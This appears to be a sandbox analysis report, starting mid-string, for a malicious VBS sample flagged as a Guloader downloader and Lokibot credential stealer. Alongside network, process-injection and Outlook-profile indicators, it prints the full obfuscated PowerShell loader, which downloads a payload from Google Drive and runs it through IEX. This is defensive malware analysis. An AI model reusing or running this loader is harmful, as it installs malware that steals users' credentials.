Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal ');Revuists (Scrapling 'Rgend$UdtalgIn all Kat.oAntenbPloraaNonoclHo,oc:Nul eTs otlrantisaSaddln narsKdli e orslMirs eBred,m efineSaedvn,ugretFla,la Gennt Tkniientosn .urugKavip=Palae$CorncSPit phTolkeoDeprep Gas tLandsaG byrlPr dukRemarsChamo.Joe isUndraupa debRkedasDiadotUdfl r rveliX.nopnHepa gRule.(Fluor$Op,ksT Ste r ReboaH rlanHovedsDo rii creetHypont PasseMicrorUhue.nFremgeUdslasMuseu,Outro$ D syetil kuSdr,esUn ntt Rdn aBo.encBr,nkiAtrocemobnesPeast)O,eng ');Revuists $Transelementating;"

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fejres.Ind && echo t"

C:\Program Files (x86)\windows mail\wabmig.exe

"C:\Program Files (x86)\windows mail\wabmig.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 45.56.20.217.in-addr.arpa udp
US 8.8.8.8:53 73.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 drive.google.com udp
GB 216.58.201.110:443 drive.google.com tcp
US 8.8.8.8:53 drive.usercontent.google.com udp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 110.201.58.216.in-addr.arpa udp
US 8.8.8.8:53 225.179.250.142.in-addr.arpa udp
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 103.169.127.40.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp
GB 216.58.201.110:443 drive.google.com tcp
US 8.8.8.8:53 c.pki.goog udp
GB 142.250.179.227:80 c.pki.goog tcp
US 8.8.8.8:53 o.pki.goog udp
GB 142.250.179.227:80 o.pki.goog tcp
GB 142.250.179.225:443 drive.usercontent.google.com tcp
US 8.8.8.8:53 227.179.250.142.in-addr.arpa udp
US 137.184.191.215:80 137.184.191.215 tcp
US 8.8.8.8:53 215.191.184.137.in-addr.arpa udp
US 137.184.191.215:80 137.184.191.215 tcp
US 137.184.191.215:80 137.184.191.215 tcp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 137.184.191.215:80 137.184.191.215 tcp
US 8.8.8.8:53 9.179.89.13.in-addr.arpa udp

Files

memory/2684-0-0x00007FFDA4273000-0x00007FFDA4275000-memory.dmp

memory/2684-10-0x0000021FF6510000-0x0000021FF6532000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cltnb5n3.cfu.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2684-11-0x00007FFDA4270000-0x00007FFDA4D31000-memory.dmp

memory/2684-12-0x00007FFDA4270000-0x00007FFDA4D31000-memory.dmp

memory/2684-14-0x00007FFDA4273000-0x00007FFDA4275000-memory.dmp

memory/2684-15-0x00007FFDA4270000-0x00007FFDA4D31000-memory.dmp

memory/2684-17-0x00007FFDA4270000-0x00007FFDA4D31000-memory.dmp

memory/3020-18-0x0000000002350000-0x0000000002386000-memory.dmp

memory/3020-19-0x0000000004D50000-0x0000000005378000-memory.dmp

memory/3020-20-0x0000000004C60000-0x0000000004C82000-memory.dmp

memory/3020-21-0x0000000005380000-0x00000000053E6000-memory.dmp

memory/3020-22-0x00000000053F0000-0x0000000005456000-memory.dmp

memory/3020-32-0x00000000054E0000-0x0000000005834000-memory.dmp

memory/3020-33-0x0000000005B30000-0x0000000005B4E000-memory.dmp

memory/3020-34-0x0000000005B70000-0x0000000005BBC000-memory.dmp

memory/3020-35-0x0000000007370000-0x00000000079EA000-memory.dmp

memory/3020-36-0x00000000060E0000-0x00000000060FA000-memory.dmp

memory/3020-37-0x0000000006DD0000-0x0000000006E66000-memory.dmp

memory/3020-38-0x0000000006D60000-0x0000000006D82000-memory.dmp

memory/3020-39-0x0000000007FA0000-0x0000000008544000-memory.dmp

C:\Users\Admin\AppData\Roaming\Fejres.Ind

MD5 14838f971ce22130c51b9a7cc01b590a
SHA1 e368099b26f7b1778b784f1057daee1ac1f0dcd8
SHA256 c1efeb9e13bff5882769c4e721442b24c3206ddaea1999fa9558826ed50d3373
SHA512 1abf7ed094e78126fbb206ca1ad54e4cc0a902bdfb5de270f75087ca5052696aa6f1232b2386ae5bf74f352a5f586043deae67f2561a1baf76d9796c2e044026

memory/3020-41-0x0000000008550000-0x000000000B7A7000-memory.dmp

memory/2684-42-0x00007FFDA4270000-0x00007FFDA4D31000-memory.dmp

memory/4952-43-0x0000000000A10000-0x0000000003C67000-memory.dmp

memory/4952-57-0x0000000000A10000-0x0000000003C67000-memory.dmp

memory/2684-61-0x00007FFDA4270000-0x00007FFDA4D31000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2170637797-568393320-3232933035-1000\0f5007522459c86e95ffcc62f32308f1_76278eb0-9988-43b4-9423-af5897ebbcb4

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2170637797-568393320-3232933035-1000\0f5007522459c86e95ffcc62f32308f1_76278eb0-9988-43b4-9423-af5897ebbcb4

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Analysis: behavioral1

Detonation Overview

Submitted

2024-09-17 01:13

Reported

2024-09-17 01:15

Platform

win7-20240903-en

Max time kernel

144s

Max time network

119s

Command Line

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7.vbs"

Signatures

Guloader,Cloudeye

downloader guloader

Lokibot

trojan spyware stealer lokibot

Credentials from Password Stores: Credentials from Web Browsers

credential_access stealer

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A
N/A drive.google.com N/A N/A

Suspicious use of NtCreateThreadExHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 3068 set thread context of 3032 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious behavior: CmdExeWriteProcessMemorySpam

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files (x86)\windows mail\wabmig.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2268 wrote to memory of 2788 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2268 wrote to memory of 2788 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2268 wrote to memory of 2788 N/A C:\Windows\System32\WScript.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2788 wrote to memory of 2852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2788 wrote to memory of 2852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2788 wrote to memory of 2852 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2788 wrote to memory of 3008 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2788 wrote to memory of 3008 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 2788 wrote to memory of 3008 N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\cmd.exe
PID 3008 wrote to memory of 3068 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 3008 wrote to memory of 3068 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 3008 wrote to memory of 3068 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 3008 wrote to memory of 3068 N/A C:\Windows\system32\cmd.exe C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
PID 3068 wrote to memory of 1908 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 3068 wrote to memory of 1908 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 3068 wrote to memory of 1908 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 3068 wrote to memory of 1908 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\cmd.exe
PID 3068 wrote to memory of 3032 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 3068 wrote to memory of 3032 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 3068 wrote to memory of 3032 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 3068 wrote to memory of 3032 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 3068 wrote to memory of 3032 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe
PID 3068 wrote to memory of 3032 N/A C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\windows mail\wabmig.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Program Files (x86)\windows mail\wabmig.exe N/A

Processes

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\5b2e29dbe690dc12e02e83841bd0f17faf05927644495021cc04a8d0b690b0a7.vbs"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Falsemaskinerne tapester Contorting programhukommelsen Regningsarts Fabled Nittet #>;$Awnings='Kyrielle';<#Semicordated Grnskollingen Rekommander Misentries Kongedoemmer Underudvalgs #>;$grapewort=$host.PrivateData;If ($grapewort) {$Kommunikooers++;}function Scrapling($Limnoriidae68){$Spontane=$Limnoriidae68.Length-$Kommunikooers;for( $Outbacks231=5;$Outbacks231 -lt $Spontane;$Outbacks231+=6){$Systematisation+=$Limnoriidae68[$Outbacks231];}$Systematisation;}function Revuists($Nonillionth){ . ($Zygomas) ($Nonillionth);}$Suppliants=Scrapling 'SgereMkukkeoLounszJuri,if,uebl Littl Su.saWiren/Bortk5Waste.Raast0 Mrke Hand(E copW Ultri aintn Tri dSv,neoSkolew Risfs Ansv UnpenN CrumT Hier Plot1Besta0 Aqua.Slvtj0 int;Milli ConfeWAf,ydi Nym nForti6Bas,e4Snees;Brsmg Fa stxHaver6Gigan4indst; Amyl ToivorHjemmv Mali:Nonme1 Un e2Dreve1Fumig. Fond0Opstt)Forma L.rmG ChmseNonsecDagslkAsepsoR.tio/Di ta2Archc0 Pist1 Made0,abla0Loofi1 olan0Traad1.lott Torn,FMariniFo,jarDeamiePolitfOskaroAnkelxWeapo/ Doit1Orien2Unmod1Fuldb.R dto0 Tale ';$Reprsentationsudgifters=Scrapling ' Re,aUAustrS tuffE spirrAsser-HalveAT.iarG RazoESpiroN Pr oTCoelo ';$Steckling=Scrapling 'HumanhDebtot IncrtAtticpGolfesOpht,:Nonp./Parti/MoorhdVandlrModifi Da.pvProfeeErneq.CerebghvlspoKanaroBagg,g KontlTalloeBas a.Descecoverto DocemPract/ SpecuSlagtcDerma?ReinceHognuxSidespbuggeo pl tr AhortAflan=CarpidSmearoKommiwAb trnPennelWondioMeinea Ti,bdgrube& Ske.iS,anddTorme=Konfe1 Out,vPampe9StopfUom etjBegivQUnclebAgon YN nsuJ Emot-GesanmUddunLB nzeFH rmo9S,lgsMFrakouKon rG listKHasleyUn,eciVejrbwStolpoOrd aw,oedb6Ha.ertModfo3YeplyRAnthrp RemausammeiChato2MidweBkli.euFork ';$Outbacks231lloyalitets119=Scrapling 'Babbo>Clubs ';$Zygomas=Scrapling 'Stje,I CoalEDown.xP eti ';$Piezoelectric='oplggendes';$Droned = Scrapling ' Ste eUnd rc DemohDeveloFlipo Spalt%SlvedaCemenpUnrempSubasdWhi,ka otemtD,sora unre%Svr e\Bi stFEkstre ArtijH nnerFlodheFlyvesS orm. Gri,I BagmndrsprdA vis B,str&Retsf&danne TredveThyrocSmoldh car.oSlagt ForktS.eat ';Revuists (Scrapling 'Ramed$Alsidgvedr lIldebo.rogrbPal eaPinnilP,rel:SkgtsSdagsrnencruominimrTopgak Cy istale,oProevv Exau=,hyma(UnhoocAbundmbadehd oli Attri/HjrepcArbej Laev$Gra mDTohndrBymidoAnimanI tsteHephadPycno) plor ');Revuists (Scrapling 'Vinke$RumnegN.nsalEsk poDiskrbLa,etaTilbrlSuble:GloriKBigwiaPalatr GangaSenatkNoncotga geeBegr,r S,rmgPolici opdrv TilsnFlerii nonenMuringBitteeSkattrUdkldn ValreC.axys Nonp=Raadi$SpadeSTids.t,ommaeAtemoc ikkekChirolstaudiSulphnSulkagKom.e. FragsUdfoepTorpelSofasi unktt vrdr( Impo$ AmtsO Liteu Su rt overb R,taa BisecAfl vkMi,lis Desy2 Erum3Hamne1 ChaklKommulAdjudo SemiyT kstaOberslDo ekiShuttt,tatseSikketUnsucs Poli1L,nna1Unent9Crous)Gridd ');Revuists (Scrapling 'Thera[MetalNEgotieCondutOcrac.MultiS Lub.e adear Mooav fpatiPneumcHandleGrnsePDsnamo elaiExpianJonost StorM i.traAmmunn Fi maTrbukgP ionePre tr onn]Dipic:Forto:PivalS rimaeAralecOdel u parar Budgi Cr.tt F,deySelvbPUnglarKonveoSeptet RaggoJelv cJensko Troml Retr Sensa=Hippo Ung a[NietzNDe,ece MaletScr t.CoptiSUranie P.oscOve.tuPreporSendeioveratUniniyUncloP StatrNon uoGlinttAnc yoKattecTe neoInterlFlattTSe,uny Overpgilg eranke] Akse:Bogha:EnspnTPostcl.drivsHrgar1hypog2Samoj ');$Steckling=$Karaktergivningernes[0];$Eliters= (Scrapling 'Bigot$Uvi lGU.rivlChalaOBnderBSk teACanooldiplo: rken spunASanitTTonaltHeadcEMusher JikuGBnnebAReneglFrost=De.rinCreopeCri iwTenn -DeklaOUnjudB SoleJ U laELongpCPickaT Forf Frem,SAr ivyAnti,s.dtraT rrlieKni emHisto. GeneNKamereJimmyTUngra.ZlotyW rspiEKalasBUn erC udvalDiveriB onteSivs.NHa lot');$Eliters+=$Snorksov[1];Revuists ($Eliters);Revuists (Scrapling ' Fusu$EneinNmultiaTaxertRepantUlykkeM sunrAmel,gB rtva KystlUnlau.Sou hHHungeeLighta edsadSiddeeTilkrryder,s Cryp[Freda$SystoRHa,nde uhrspsagfrroniomsPolybeJaculnT,taqtUnmetaBus ut Canai ThymoSummenGausssoutstuUndisdMoiergTermiical if ndetSukreeSpa irmansusUncon]Simul=Secks$M kesSMidmouLe copMaltap acedlCeltii Skova PreanSa sdtL wnmsSkill ');$Cathedrals80=Scrapling ' Kine$A desNMus iaDayfltCo patb soueFlg,lrGreasgdata aDiscilKatte.AfcheD ,ubbo ProdwLooi nPoindl Chroo Co ta.onfadAb asF iwiriUntralBr neePachy(Kong.$ .oleS SkogtNo mueV ldsc BrinkPemollIntexiBevesn enzogudarm,.econ$ quatP heliiChapacVrn.esPropo)Desti ';$Pics=$Snorksov[0];Revuists (Scrapling 'Snyde$negliGSg,rfL ,oflO nopBhimmeaV tiaLens,e:Progrq,onbuuA umieUnobuE submvNegerEFugle=Overf(trolltNrhedEind aSKrg sTSunla-.verpp StataHeralT,seudhOxyhy Lud o$Absalpar,efI nbecTarteSUnder)Arthr ');while (!$Queeve) {Revuists (Scrapling 'Re,ta$Meirsg UdsplPl,sso TempbDefenaForfalBito.: OverkMidennUrenlsDual ftorbioSirelr BehedResuneDishalT lasiUndern Dem gVictueindler Dart= ungu$S igetW eatrviktou.mendeChrys ') ;Revuists $Cathedrals80;Revuists (Scrapling 'MonocS SpeatBe,rlaS hizrTvedet yras-Reg sS MasklIntanePagsle Ba.apButtr T ste4 blok ');Revuists (Scrapling ' unpr$Pro rgVotisl onpro yrinbSvrgeaFo,sklUdkas:IllesQ KetouFlateeAbende SnubvKursueBoo.e=Bruge(ApeksT .acre,eksksFurortB mbe-CylloP orsyaOpspatSer,ahSeneg Prog $ MitiPOsnabiTr ksc.tudisAtomt)afgan ') ;Revuists (Scrapling 'Ant o$ ,eneg ModtlCranioPle obStartaliniklFeti :SigjnUUngesnHjt ldOverdiun erfK.rnsfSin,cuCerbesKommei Luppv SpekeVindu=Bayer$Gift.gTomhelBrnetoIllumbMarnoaHannelSepti:VolcaB nonvuantiml rieteDomi,rF.dej+Na,te+Toome% onsu$ BrdeKRensnaFemvrroldboa entkPrisgt S jee Ran rYdelsg.ileni harv BathnAdlediK avlnKodnigCyc.oe ArberUn.ven makreKultusIntui.Deporc Snero,yrenuKrydsnh.tlitPtero ') ;$Steckling=$Karaktergivningernes[$Undiffusive];}$Transitternes=293716;$eustacies=28812;Revuists (Scrapling 'Fryns$Westfg hyttl Afpro sonabBarseaE farlUldha: EfteEVedl lUnmyteCryptcrammetCellurDispeoC,ambm .osteAmatrtJacksrRensee paad Conic=No.is TrillGUdenve.ommutKonto- Re.iCTempeoFljtinMarintCol,geAssisn LunatCatn. Rhync$ UndePMat,oiLnforcUdramsBrill ');Revuists (Scrapling 'Kiloe$Sla,egAarellFaraoo,umblbCahilaSyst,lSugek:GreenbTa,uehRe nta ImmuiOxyphaP edacOestrhProleaSa.sbrSkrosaProte Slapp=Fabi Notef[ G anS S ovy ldfus P eetSvvepeFormumSubtr.ReforCConfloLam en SmugvSmigvepolerr R det Ha.r]L sbe:Fg.ek:RockaFSpidsr C rkoUnnummR,tinBlommeaIntersVendeeYie,d6Sprin4 Sam SForv tEmmeirB drviCentrnmatthg epa(Succe$UnivaEAk,ielil.acePaeancUnsactOxymerWrongoFodromChecke eltft HolirE uipefunda)Areal ');Revuists (Scrapling 'Bern $ Debug SmaglKontro SkolbFrot aT xacl stak:CorymSD.punhD mmeoEquippStrikt unoiaAtterl,etask Rhyps owie comm =,verf Kapre[Gr viSKlavey TabesValuttPseude nhimMa nt.DebutTCodiceTredvxAllrotDebar.SnailE HyponUnenacForsioSulaidP,eeli Mattnperfeg .pli]Smyk.:Tasta:IvrayA,lfacSFork CS vebIUnd aIHarem.IntenGLayboePhytot ArbeS ud itUd terAci oi BehonIndsugVeste(Phob.$Caramb Fi mhVascuajorymiI aruaHypsicTilbahUncoma T enrSpiceaNonpe)V kal 